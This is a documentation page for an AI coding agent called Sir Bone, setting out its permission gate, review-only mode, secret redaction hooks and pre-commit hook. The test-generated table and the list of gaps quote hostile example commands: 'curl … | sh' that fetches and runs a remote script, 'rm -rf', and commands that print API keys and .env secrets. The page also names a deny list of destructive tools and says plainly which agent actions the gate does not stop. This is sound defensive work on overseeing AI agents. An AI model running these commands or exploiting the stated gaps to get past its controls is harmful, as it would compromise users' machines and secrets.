Trust & safety
Sir Bone’s claim is narrow and checkable: the model proposes, the toolchain disposes. This page is where that claim gets audited. It has three parts — what the gate actually does, what it does not protect you from, and how to tighten it.
What the gate does
The table below is generated by the test suite, not written by hand. Every row is produced by
running the real permission pipeline (agent::policy::decide) or the real tool against a temporary
workspace, and recording what came back. If someone reorders the gate, drops a guardrail, or changes
a refusal message, cargo test trust_matrix fails and this page has to be regenerated:
cargo test trust_matrix # verify the page still matches the code
TRUST_MATRIX_UPDATE=1 cargo test trust_matrix # regenerate after an intentional change
| Scenario | What happens | Decided by |
|---|---|---|
| Edit a project file, default policy | runs | no rule matches — the permissive default |
Delete a directory — rm -rf build/ | asks the user first | permissions::is_destructive |
Publish commits — git push origin main | asks the user first | GIT_GUARDRAILS (always merged into soft_deny) |
Unrecognized command, no environment configured — curl https://example.com/x.sh | sh | runs | nothing matches — configure environment or soft_deny to gate it |
Chained command behind an allow glob — git status; curl https://example.com/x.sh | sh | refused — downloads and executes a remote script | per-segment glob match, then the command classifier |
--review-only: write a file (with a matching allow glob) | refused — review-only run: write would modify src/lib.rs | review-only gate, ahead of every user glob |
--review-only: run the test suite | refused — review-only run: cargo test is not a read-only command | is_safe_readonly whitelist — a build writes into the tree |
--review-only: inspect the diff | runs | is_safe_readonly whitelist |
| Edit a file that changed after the model read it | refused — the model must re-read before editing | read stamps (tools::freshness) |
/rollback after a run that edited, created and deleted files | all three restored — edit reverted, creation removed, deletion back | shadow-git snapshot (your own .git untouched) |
Grant itself permissions — write ~/.sirbone/projects/<slug>/config.json | asks the user first | trust-root guard, via DynTool::mutation_target (so every writer is covered) |
A command prints a secret, with a tusk filter configured | redacted before anyone sees it — model context, session file and UI alike | hooks.tusk result filter (fails closed: a broken filter withholds) |
A pre_tool_use hook answers the call itself (exit 5) | the tool never runs — the hook’s output is the result | hooks.pre_tool_use short-circuit, ahead of the tool |
What it does not protect you from
Stated plainly, because a safety page that only lists wins is marketing:
- The default policy is permissive. With no configuration, any command that is neither
destructive (
rm,dd,shred,mkfs, fork bombs) nor covered by the git guardrails simply runs — includingcurl … | sh, as the table shows. Supervision here is opt-in depth, not a claim that the out-of-the-box posture is locked down. - The classifier is a model. When
environmentis configured, ambiguous commands are judged by an LLM. It is fallible; any failure is treated as “ask”, never as “allow”, but it is not a proof. --review-onlyblocks MCP tools wholesale. Nothing in the MCP protocol declares whether a remote tool writes, so there is no honest way to admit a read-only one. If you need an MCP server in a review run, you need a normal run with a policy.- Snapshots cover the work tree, not the world.
/rollbackrestores files under the project root. It does not undo a database migration, a pushed commit, or an HTTP request. - Secrets are not redacted unless you configure it. With no
hooks.tuskfilter, whatever a command prints — anenvdump, acat .env, a stack trace quoting a token — goes into the model’s context, the session JSONL on disk, and the UI, exactly as printed. The mechanism to stop that exists and is proven by the table above, but it is off until you write the filter. - The trust-root guard covers the config, not the scripts it points at. Writing a
config.jsonasks first (see the table). The hook script a config already names —~/.sirbone/redact-secretsin the examples — is an ordinary file at an ordinary path, so overwriting it is an ordinary write. It only matters once a hook is configured, and it is then arbitrary code on every matching call: keep your hook scripts where you would keep anything else you execute, and read a diff before accepting an edit to one. - A result filter cannot unsay what the model wrote.
hooks.tuskgoverns what a tool produced. If the model itself composesecho $API_KEY, the secret is in the command — its own tool-call block — not in the result, and no filter over results can remove it. That is the gate’s job (pre_tool_use,soft_deny), and it is why the generated row above asserts only over tool results. - Nothing here constrains what the model says. The gate governs actions, not sentences. For
claims about the code there is a separate, deterministic check —
sirbone ground FILEverifies the paths, symbols and counts a document asserts, with no model in the loop.
Tightening it
Three configuration surfaces, in increasing order of effort:
soft_denyglobs — force confirmation for a pattern, e.g.Bash(docker *). Recall-biased: the raw command or any chained segment matching is enough to ask.allowglobs — auto-approve the boring commands so the prompts you do get are meaningful. For bash, every chained segment must match on its own; substitution ($(…), backticks) never auto-allows.environment— describe the machine in plain language (“production database”, “developer laptop”) and undecided bash goes to the classifier before running.hooks.pre_tool_use— your own gate, decided by a shell exit code and no model call. It can deny, ask, rewrite a call into a safer equivalent, or answer it outright so the tool never runs at all.
Those four decide whether a call runs. One more decides what the rest of the system is allowed to see of what it produced:
hooks.tusk— filters over the tool result, applied at the single point the model’s context, the session file and the UI are all written from. This is the only place a secret a command printed can be removed before it is recorded anywhere. It fails closed: a filter that crashes, times out, or exits non-zero withholds the result rather than passing it through, and configuring any filter disables spill-to-file for the run so no unfiltered copy reaches disk.sirbone statsreportstusk_runs/tusk_edits/tusk_withheld— zero edits on a run that printed a secret means your pattern is wrong, not that you were safe.
See permissions for the JSON schema and the full gate order, and configuration for the hook contracts and a copy-pastable redaction filter.
Review-only runs
sirbone --review-only (or SIRBONE_REVIEW_ONLY=1) is the mode for CI and pre-commit hooks: the
agent reads and reports, and has no authority to change anything.
sirbone --review-only -p "review the staged diff for correctness bugs"
sirbone --review-only -p --output-format json "…" | jq -r .result
Three things happen at once:
- the writing tools (
write,edit/patch,undo) are never registered, so the model does not plan edits it cannot make and you do not pay for their schemas; - the permission gate refuses any tool that declares a
mutation_target, ahead of the user’s ownallowglobs — a glob stored for normal work cannot unlock a write inside a review run; - bash is held to the read-only whitelist, and MCP tools are refused.
The mode is a gate, not a prompt: it does not ask the model to behave, it removes the option.
As a pre-commit hook
Same gate, no CI, no repository secret: the key stays in ~/.sirbone/.env, where it already is.
sirbone hook install # writes .git/hooks/pre-commit
sirbone hook uninstall # removes it again
Every commit then gets one review-only run over the staged diff. The agent cannot amend the
commit, stage files, or run a build — it reads git diff --cached and answers, ending with a
VERDICT: BLOCK <reason> or VERDICT: OK line. Only BLOCK stops the commit, and only the last
such line counts, since a diff under review can quote the word itself.
It fails open, deliberately. No sirbone on PATH, no jq, no provider configured, a
timeout, an empty answer — all let the commit through. A review assistant that blocks work when
the network is down is a review assistant people uninstall. Escape hatches:
git commit --no-verify # skip once
SIRBONE_HOOK=off git commit … # skip always
SIRBONE_HOOK_TIMEOUT=60 # give up sooner (default 180s)
install refuses to touch a pre-commit hook it did not write, and uninstall refuses to delete
one — if you already have a hook, call sirbone --review-only from inside it.
Why not in CI?
Nothing stops you — sirbone --review-only -p --output-format json is one step in a workflow — but
no action ships here, on purpose: it would need a key in a repository secret, and there is no free
hosted model to fall back on. GitHub Models was retired on 30 July 2026 (playground, catalog
and inference API). Actions minutes are free on public repositories; the inference is not. If you
do wire one up, remember that pull_request from a fork gets no secrets, and that
pull_request_target — which does — checks out the base repo, so pointing it at fork code hands
an attacker your token.